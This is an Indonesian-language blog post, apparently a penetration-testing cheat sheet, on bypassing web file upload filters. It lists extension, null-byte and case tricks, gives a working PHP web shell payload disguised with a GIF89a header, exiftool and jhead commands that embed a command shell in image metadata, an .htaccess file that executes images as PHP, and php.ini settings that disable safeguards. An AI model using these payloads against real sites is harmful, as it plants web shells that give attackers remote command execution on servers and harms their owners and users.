Bypass File Upload Restrictions - MainSec

Rabu, 19 Februari 2025

Bypass File Upload Restrictions

Menurut OWASP, berikut adalah beberapa teknik yang bisa digunakan oleh penetration tester untuk melewati berbagai proteksi file upload.

Teknik Bypass File Upload

  • Mengubah parameter Content-Type dalam request header menggunakan Burp Suite, ZAP, dll.
  • Menggunakan ekstensi eksekusi server seperti file.php5, file.shtml, file.asa, file.cert.
  • Mengubah huruf kapital dalam nama file seperti file.aSp atau file.PHp3.
  • Menambahkan spasi atau titik setelah nama file seperti file.asp. atau file.asp. . . . ..
  • Menambahkan titik koma sebelum ekstensi yang diperbolehkan, contoh: file.asp;.jpg (bekerja di IIS 6 atau sebelumnya).
  • Menggunakan dua ekstensi, misalnya file.php.jpg.
  • Menyisipkan karakter null: file.asp%00.jpg.
  • Membuat file dengan ekstensi terlarang dengan tambahan atribut: file.asp:.jpg atau file.asp::$data.

Bypassing Blacklists

Blacklisting adalah teknik di mana ekstensi tertentu dilarang dikirim ke server web. Berikut adalah beberapa cara untuk melewati blacklist:

Type Extensions
PHP .php, .phtml, .php3, .php4, .php5, .php6, .pht, .pHp, .Php, .phP
ASP .asp, .aspx
Perl .pl, .pm, .cgi, .lib
JSP .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion .cfm, .cfml, .cfc, .dbm

Bypassing Whitelists

Whitelisting adalah proteksi di mana hanya ekstensi tertentu yang diizinkan. Teknik bypass:

  • Menggunakan ekstensi foto dengan kode shell, contoh: payload.php.jpg.
  • Menambahkan karakter null di antara ekstensi: payload.php%00.jpg atau payload.php\x00.jpg.
  • Menyisipkan header GIF89a; di awal file agar dianggap sebagai gambar.

Contoh Payload

GIF89a;
<?php system($_GET['cmd']); ?>
    

Metode Lain

  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.pHp5....

Bypass Menggunakan exiftool atau jhead

exiftool -Comment='<?php system($_REQUEST["cmd"]); ?>' test.png
    
jhead -purejpg test.jpg
jhead -ce test.jpg
<?php system($_REQUEST["cmd"]); ?>
    

Upload file .htaccess berikut ini didalam direktori yang sama dengan file gambar yang sudah kalian upload

<FilesMatch "\.(jpg|jpeg|png|gif)$">
SetHandler application/x-httpd-php
</FilesMatch>  
    

Bypass Menggunakan php.ini

safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON 
shell_exec = ON